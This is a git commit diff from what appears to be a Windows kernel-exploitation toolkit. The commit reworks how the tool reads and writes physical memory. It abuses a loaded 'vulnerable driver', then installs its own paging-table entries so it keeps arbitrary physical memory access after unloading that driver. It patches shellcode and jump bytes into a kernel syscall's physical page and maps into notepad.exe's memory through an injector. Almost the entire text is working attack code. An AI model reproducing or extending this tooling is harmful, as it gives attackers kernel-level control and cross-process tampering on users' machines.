added a way for vdm to use another physical memory read/write method..

master
xerox 4 years ago
parent cb4e604d70
commit d19a27279b

@ -11,18 +11,47 @@ int __cdecl main(int argc, char** argv)
return -1; return -1;
} }
vdm::vdm_ctx vdm; // read physical memory using the driver...
vdm::read_phys_t _read_phys =
[&](void* addr, void* buffer, std::size_t size) -> bool
{
return vdm::read_phys(addr, buffer, size);
};
// write physical memory using the driver...
vdm::write_phys_t _write_phys =
[&](void* addr, void* buffer, std::size_t size) -> bool
{
return vdm::write_phys(addr, buffer, size);
};
vdm::vdm_ctx vdm(_read_phys, _write_phys);
nasa::mem_ctx my_proc(vdm); nasa::mem_ctx my_proc(vdm);
nasa::mem_ctx notepad_proc(vdm, util::get_pid("notepad.exe"));
nasa::injector_ctx injector(&my_proc, &notepad_proc);
// driver no longer needs to be loaded since paging tables are all setup :^) // read physical memory via paging tables and not with the driver...
_read_phys = [&my_proc](void* addr, void* buffer, std::size_t size) -> bool
{
return my_proc.read_phys(buffer, addr, size);
};
// write physical memory via paging tables and not with the driver...
_write_phys = [&my_proc](void* addr, void* buffer, std::size_t size) -> bool
{
return my_proc.write_phys(buffer, addr, size);
};
if (!vdm::unload_drv(drv_handle, drv_key)) if (!vdm::unload_drv(drv_handle, drv_key))
{ {
std::printf("[!] unable to unload vulnerable driver...\n"); std::printf("[!] unable to unload vulnerable driver...\n");
return -1; return -1;
} }
vdm.set_read(_read_phys);
vdm.set_write(_write_phys);
nasa::mem_ctx notepad_proc(vdm, util::get_pid("notepad.exe"));
nasa::injector_ctx injector(&my_proc, &notepad_proc);
if (!injector.init()) if (!injector.init())
{ {
std::printf("[!] failed to init injector_ctx...\n"); std::printf("[!] failed to init injector_ctx...\n");
@ -33,11 +62,8 @@ int __cdecl main(int argc, char** argv)
reinterpret_cast<std::uintptr_t>( reinterpret_cast<std::uintptr_t>(
GetModuleHandleA("ntdll.dll")); GetModuleHandleA("ntdll.dll"));
const auto ntdll_inject_addr = injector.translate(ntdll_base); const auto ntdll_base_injected = injector.translate(ntdll_base);
std::printf("[+] ntdll base address -> 0x%p\n", ntdll_base); std::printf("[+] ntdll base -> 0x%p\n", ntdll_base_injected);
std::printf("[+] ntdll reverse inject address -> 0x%p\n", ntdll_inject_addr);
std::printf("[+] ntdll MZ -> 0x%x\n", *(short*)ntdll_inject_addr);
std::printf("[+] press any key to close...\n"); std::printf("[+] press any key to close...\n");
std::getchar(); std::getchar();
} }

@ -5,8 +5,8 @@ namespace nasa
mem_ctx::mem_ctx(vdm::vdm_ctx& v_ctx, std::uint32_t pid) mem_ctx::mem_ctx(vdm::vdm_ctx& v_ctx, std::uint32_t pid)
: :
v_ctx(&v_ctx), v_ctx(&v_ctx),
dirbase(get_dirbase(v_ctx, pid)), pid(pid),
pid(pid) dirbase(get_dirbase(v_ctx, pid))
{ {
// find an empty pml4e inside of current processes pml4... // find an empty pml4e inside of current processes pml4...
const auto current_pml4 = const auto current_pml4 =
@ -67,7 +67,6 @@ namespace nasa
)); ));
PAGE_IN(this->new_pt.second, PAGE_4KB); PAGE_IN(this->new_pt.second, PAGE_4KB);
// get paging table entries for pt // get paging table entries for pt
pt_entries new_pt_entries; pt_entries new_pt_entries;
hyperspace_entries(new_pt_entries, this->new_pt.second); hyperspace_entries(new_pt_entries, this->new_pt.second);
@ -373,10 +372,10 @@ namespace nasa
} }
} }
void mem_ctx::read_phys(void* buffer, void* addr, std::size_t size) bool mem_ctx::read_phys(void* buffer, void* addr, std::size_t size)
{ {
if (!buffer || !addr || !size) if (!buffer || !addr || !size)
return; return false;
const auto temp_page = set_page(addr); const auto temp_page = set_page(addr);
__try __try
@ -384,13 +383,16 @@ namespace nasa
memcpy(buffer, temp_page, size); memcpy(buffer, temp_page, size);
} }
__except (EXCEPTION_EXECUTE_HANDLER) __except (EXCEPTION_EXECUTE_HANDLER)
{} {
return false;
}
return true;
} }
void mem_ctx::write_phys(void* buffer, void* addr, std::size_t size) bool mem_ctx::write_phys(void* buffer, void* addr, std::size_t size)
{ {
if (!buffer || !addr || !size) if (!buffer || !addr || !size)
return; return false;
const auto temp_page = set_page(addr); const auto temp_page = set_page(addr);
__try __try
@ -398,7 +400,10 @@ namespace nasa
memcpy(temp_page, buffer, size); memcpy(temp_page, buffer, size);
} }
__except (EXCEPTION_EXECUTE_HANDLER) __except (EXCEPTION_EXECUTE_HANDLER)
{} {
return false;
}
return true;
} }
void* mem_ctx::virt_to_phys(pt_entries& entries, void* addr) void* mem_ctx::virt_to_phys(pt_entries& entries, void* addr)

@ -7,7 +7,7 @@ namespace nasa
class mem_ctx class mem_ctx
{ {
public: public:
explicit mem_ctx(vdm::vdm_ctx& v_ctx, std::uint32_t pid = GetCurrentProcessId()); mem_ctx(vdm::vdm_ctx& v_ctx, std::uint32_t pid = GetCurrentProcessId());
~mem_ctx(); ~mem_ctx();
std::pair<ppte, pte> get_pte(void* addr, bool use_hyperspace = false); std::pair<ppte, pte> get_pte(void* addr, bool use_hyperspace = false);
@ -25,8 +25,8 @@ namespace nasa
void* get_dirbase() const; void* get_dirbase() const;
static void* get_dirbase(vdm::vdm_ctx& v_ctx, std::uint32_t pid); static void* get_dirbase(vdm::vdm_ctx& v_ctx, std::uint32_t pid);
void read_phys(void* buffer, void* addr, std::size_t size); bool read_phys(void* buffer, void* addr, std::size_t size);
void write_phys(void* buffer, void* addr, std::size_t size); bool write_phys(void* buffer, void* addr, std::size_t size);
template <class T> template <class T>
T read_phys(void* addr) T read_phys(void* addr)

@ -2,7 +2,14 @@
namespace vdm namespace vdm
{ {
vdm_ctx::vdm_ctx() vdm_ctx::vdm_ctx
(
std::function<decltype(vdm::read_phys)>& read_func,
std::function<decltype(vdm::write_phys)>& write_func
)
:
read_phys(read_func),
write_phys(write_func)
{ {
// already found the syscall's physical page... // already found the syscall's physical page...
if (vdm::syscall_address.load()) if (vdm::syscall_address.load())
@ -35,6 +42,16 @@ namespace vdm
search_thread.join(); search_thread.join();
} }
void vdm_ctx::set_read(std::function<decltype(vdm::read_phys)>& read_func)
{
this->read_phys = read_func;
}
void vdm_ctx::set_write(std::function<decltype(vdm::write_phys)>& write_func)
{
this->write_phys = write_func;
}
void vdm_ctx::locate_syscall(std::uintptr_t address, std::uintptr_t length) const void vdm_ctx::locate_syscall(std::uintptr_t address, std::uintptr_t length) const
{ {
const auto page_data = const auto page_data =
@ -50,7 +67,7 @@ namespace vdm
if (vdm::syscall_address.load()) if (vdm::syscall_address.load())
break; break;
if (!vdm::read_phys(reinterpret_cast<void*>(address + page), page_data, PAGE_4KB)) if (!read_phys(reinterpret_cast<void*>(address + page), page_data, PAGE_4KB))
continue; continue;
// check the first 32 bytes of the syscall, if its the same, test that its the correct // check the first 32 bytes of the syscall, if its the same, test that its the correct
@ -82,11 +99,11 @@ namespace vdm
std::uint8_t orig_bytes[sizeof shellcode]; std::uint8_t orig_bytes[sizeof shellcode];
// save original bytes and install shellcode... // save original bytes and install shellcode...
vdm::read_phys(syscall_addr, orig_bytes, sizeof orig_bytes); read_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
vdm::write_phys(syscall_addr, shellcode, sizeof shellcode); write_phys(syscall_addr, shellcode, sizeof shellcode);
auto result = reinterpret_cast<NTSTATUS(__fastcall*)(void)>(proc)(); auto result = reinterpret_cast<NTSTATUS(__fastcall*)(void)>(proc)();
vdm::write_phys(syscall_addr, orig_bytes, sizeof orig_bytes); write_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
syscall_mutex.unlock(); syscall_mutex.unlock();
return result == STATUS_SUCCESS; return result == STATUS_SUCCESS;
} }

@ -5,6 +5,7 @@
#include <thread> #include <thread>
#include <atomic> #include <atomic>
#include <mutex> #include <mutex>
#include <functional>
#include "../vdm/vdm.hpp" #include "../vdm/vdm.hpp"
namespace vdm namespace vdm
@ -19,10 +20,21 @@ namespace vdm
inline std::uint32_t nt_rva; inline std::uint32_t nt_rva;
inline std::uint8_t* dxgkrnl_buffer; inline std::uint8_t* dxgkrnl_buffer;
using read_phys_t = std::function<decltype(vdm::read_phys)>;
using write_phys_t = std::function<decltype(vdm::write_phys)>;
class vdm_ctx class vdm_ctx
{ {
public: public:
vdm_ctx(); vdm_ctx
(
std::function<decltype(vdm::read_phys)>& read_func,
std::function<decltype(vdm::write_phys)>& write_func
);
void set_read(std::function<decltype(vdm::read_phys)>& read_func);
void set_write(std::function<decltype(vdm::write_phys)>& write_func);
template <class T, class ... Ts> template <class T, class ... Ts>
__forceinline std::invoke_result_t<T, Ts...> syscall(void* addr, Ts ... args) const __forceinline std::invoke_result_t<T, Ts...> syscall(void* addr, Ts ... args) const
{ {
@ -46,12 +58,12 @@ namespace vdm
std::uint8_t orig_bytes[sizeof jmp_code]; std::uint8_t orig_bytes[sizeof jmp_code];
*reinterpret_cast<void**>(jmp_code + 6) = addr; *reinterpret_cast<void**>(jmp_code + 6) = addr;
vdm::read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes); read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
// execute hook... // execute hook...
vdm::write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code); write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code);
auto result = reinterpret_cast<T>(proc)(args ...); auto result = reinterpret_cast<T>(proc)(args ...);
vdm::write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes); write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
syscall_mutex.unlock(); syscall_mutex.unlock();
return result; return result;
@ -109,5 +121,8 @@ namespace vdm
private: private:
void locate_syscall(std::uintptr_t begin, std::uintptr_t end) const; void locate_syscall(std::uintptr_t begin, std::uintptr_t end) const;
bool valid_syscall(void* syscall_addr) const; bool valid_syscall(void* syscall_addr) const;
std::function<decltype(vdm::read_phys)> read_phys;
std::function<decltype(vdm::write_phys)> write_phys;
}; };
} }
Loading…
Cancel
Save